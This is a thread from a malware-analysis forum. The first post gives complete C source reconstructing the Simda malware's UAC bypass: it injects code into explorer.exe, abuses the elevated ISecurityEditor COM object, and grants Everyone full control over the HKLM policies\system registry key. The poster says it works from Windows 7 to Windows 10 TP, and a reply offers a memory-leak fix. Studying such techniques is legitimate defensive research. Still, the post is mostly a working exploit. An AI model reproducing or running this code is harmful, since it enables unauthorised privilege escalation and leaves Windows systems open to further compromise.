A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #24947  by EP_X0FF
 Wed Jan 14, 2015 3:27 pm
WinNT/Simda ISecurityEditor usage reconstructed code. It will add new dacl entry <Everyone - Full Control> to specified registry key. If you like you can remove CoCreateInstance etc, they not needed as all this crap already initialized in explorer.exe and they are used here only for debugging, also Simda concats new dacl string to existing, because this is simple example, this is ignored. Additionally no registry values touched, so don't worry for your UAC :)

This will work from Windows 7 up to Windows 10 TP 9901. Case closed.

main.c
Code: Select all
#include <windows.h>
#include "inject.h"

ELOAD_PARAMETERS	ElevParams;

DWORD WINAPI ElavatedLoadProc(PELOAD_PARAMETERS elvpar)
{
	HRESULT				r;
	BOOL				cond = FALSE;
	ISecurityEditor		*SecurityEditor1 = NULL;
	BIND_OPTS3			bop;
	LPOLESTR			pps;

	if (elvpar == NULL)
		return (DWORD)E_FAIL;

	r = elvpar->xCoInitialize(NULL);
	if ( r != S_OK )
		return r;

	RtlSecureZeroMemory(&bop, sizeof(bop));

	do {
		r = elvpar->xCoCreateInstance(&elvpar->xCLSID_ShellSecurityEditor, NULL, 
			CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER,
			&elvpar->xIID_ISecurityEditor, &SecurityEditor1);
		
		if (r != S_OK)
			break;
		
		if (SecurityEditor1 != NULL)
			SecurityEditor1->lpVtbl->Release(SecurityEditor1);

		bop.cbStruct = sizeof(bop);
		bop.dwClassContext = CLSCTX_LOCAL_SERVER;
		r = elvpar->xCoGetObject(elvpar->EleMoniker, (BIND_OPTS *)&bop, &elvpar->xIID_ISecurityEditor, &SecurityEditor1);
		if (r != S_OK)
			break;
		if (SecurityEditor1 == NULL) {
			r = E_FAIL;
			break;
		}

		pps = NULL;
		r = SecurityEditor1->lpVtbl->GetSecurity(
			SecurityEditor1,
			elvpar->szKey,
			SE_REGISTRY_KEY,
			DACL_SECURITY_INFORMATION,
			&pps
		);

		if ((r == S_OK) && (pps != NULL)) {
			elvpar->xOutputDebugStringW(pps);
		}

		r = SecurityEditor1->lpVtbl->SetSecurity(
			SecurityEditor1,
			elvpar->szKey,
			SE_REGISTRY_KEY,
			DACL_SECURITY_INFORMATION,
			elvpar->szNewSDDL
			);

		if (r == S_OK) {
			elvpar->xOutputDebugStringW(elvpar->szNewSDDL);
		}


	} while (cond);

	if (SecurityEditor1 != NULL)
		SecurityEditor1->lpVtbl->Release(SecurityEditor1);

	elvpar->xCoUninitialize();

	return r;
}

HANDLE GetExplorerHandle()
{
	HWND	hTrayWnd = NULL;
	DWORD	dwProcessId = 0;

	hTrayWnd = FindWindowW(L"Shell_TrayWnd", NULL);
	if (hTrayWnd == NULL)
		return NULL;

	GetWindowThreadProcessId(hTrayWnd, &dwProcessId);
	if (dwProcessId == 0)
		return NULL;

	return OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
}

void main()
{
	HANDLE						expl;
	HINSTANCE					selfmodule = GetModuleHandleW(NULL);
	HINSTANCE					hOle32 = LoadLibraryW(L"ole32.dll");
	PIMAGE_DOS_HEADER			pdosh = (PIMAGE_DOS_HEADER)selfmodule;
	PIMAGE_FILE_HEADER			fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
	PIMAGE_OPTIONAL_HEADER		opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
	LPVOID						remotebuffer = NULL, newEp, newDp;
	SIZE_T						wr = 0;
	DWORD						c;
	BOOL						cond = FALSE;

	lstrcpyW(ElevParams.EleMoniker, L"Elevation:Administrator!new:{4D111E08-CBF7-4f12-A926-2C7920AF52FC}");
	lstrcpyW(ElevParams.szKey, L"MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system");
	lstrcpyW(ElevParams.szNewSDDL, L"D:(A;;GA;;;WD)");

	CLSIDFromString(L"{4D111E08-CBF7-4f12-A926-2C7920AF52FC}", &ElevParams.xCLSID_ShellSecurityEditor);
	IIDFromString(L"{14B2C619-D07A-46EF-8B62-31B64F3B845C}", &ElevParams.xIID_ISecurityEditor);

	ElevParams.xCoInitialize = (pfnCoInitialize)GetProcAddress(hOle32, "CoInitialize");
	ElevParams.xCoCreateInstance = (pfnCoCreateInstance)GetProcAddress(hOle32, "CoCreateInstance");
	ElevParams.xCoGetObject = (pfnCoGetObject)GetProcAddress(hOle32, "CoGetObject");
	ElevParams.xCoUninitialize = (pfnCoUninitialize)GetProcAddress(hOle32, "CoUninitialize");
	ElevParams.xOutputDebugStringW = (pfnNOutputDebugStringW)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "OutputDebugStringW");

	expl = GetExplorerHandle();
	if (expl == NULL)
		return;

	do {
		remotebuffer = VirtualAllocEx(expl, NULL, opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (remotebuffer == NULL)
			break;

		if (!WriteProcessMemory(expl, remotebuffer, selfmodule, opth->SizeOfImage, &wr))
			break;

		newEp = (char *)remotebuffer + ((char *)&ElavatedLoadProc - (char *)selfmodule);
		newDp = (char *)remotebuffer + ((char *)&ElevParams - (char *)selfmodule);

		CreateRemoteThread(expl, NULL, 0, newEp, newDp, 0, &c);
	} while (cond);

	CloseHandle(expl);
	ExitProcess(0);
}
inject.h
Code: Select all
/*

Types for inject

*/

#include <AccCtrl.h>

typedef HRESULT(WINAPI *pfnCoInitialize)(LPVOID pvReserved);
typedef HRESULT(WINAPI *pfnCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID FAR * ppv);
typedef HRESULT(WINAPI *pfnCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv);
typedef void(WINAPI *pfnCoUninitialize)(void);
typedef void (WINAPI *pfnNOutputDebugStringW)(LPCWSTR lpOutputString);

typedef interface ISecurityEditor ISecurityEditor;

typedef struct ISecurityEditorVtbl
{
	BEGIN_INTERFACE

		HRESULT(STDMETHODCALLTYPE *QueryInterface)(
		__RPC__in ISecurityEditor * This,
		/* [in] */ __RPC__in REFIID riid,
		/* [annotation][iid_is][out] */
		_COM_Outptr_  void **ppvObject);

		ULONG(STDMETHODCALLTYPE *AddRef)(
			__RPC__in ISecurityEditor * This);

		ULONG(STDMETHODCALLTYPE *Release)(
			__RPC__in ISecurityEditor * This);

		HRESULT(STDMETHODCALLTYPE *GetSecurity)(
			__RPC__in ISecurityEditor * This,
			_In_ LPCOLESTR ObjectName,
			_In_ SE_OBJECT_TYPE ObjectType,
			_In_ SECURITY_INFORMATION SecurityInfo,
			_Out_opt_ LPCOLESTR * ppSDDLStr);

		HRESULT(STDMETHODCALLTYPE *SetSecurity)(
			__RPC__in ISecurityEditor * This,
			_In_ LPCOLESTR ObjectName,
			_In_ SE_OBJECT_TYPE ObjectType,
			_In_ SECURITY_INFORMATION SecurityInfo,
			_In_ LPCOLESTR pSDDLStr);

	END_INTERFACE
} *PISecurityEditorVtbl;

interface ISecurityEditor
{
	CONST_VTBL struct ISecurityEditorVtbl *lpVtbl;
};

typedef struct _ELOAD_PARAMETERS {
	WCHAR	ObjectName[MAX_PATH*2];
	WCHAR	EleMoniker[MAX_PATH];
	WCHAR   szKey[MAX_PATH];
	WCHAR   szNewSDDL[MAX_PATH];
	//
	IID		xIID_ISecurityEditor;
	CLSID	xCLSID_ShellSecurityEditor;
	//
	pfnCoInitialize					xCoInitialize;
	pfnCoCreateInstance				xCoCreateInstance;
	pfnCoGetObject					xCoGetObject;
	pfnCoUninitialize				xCoUninitialize;
	pfnNOutputDebugStringW			xOutputDebugStringW;
} ELOAD_PARAMETERS, *PELOAD_PARAMETERS;
 #24953  by rinn
 Thu Jan 15, 2015 6:45 am
Hello.

Just to mention - memory allocated for SDDL string after ISecurityEditor->GetSecurity call must be freed with LocalFree when pps variable is no longer needed. So for your usage extend shellcode to include LocalFree and use it.

Best Regards,
-rin
 #25600  by EP_X0FF
 Thu Apr 09, 2015 1:01 pm
Seems Simda having troubles now :)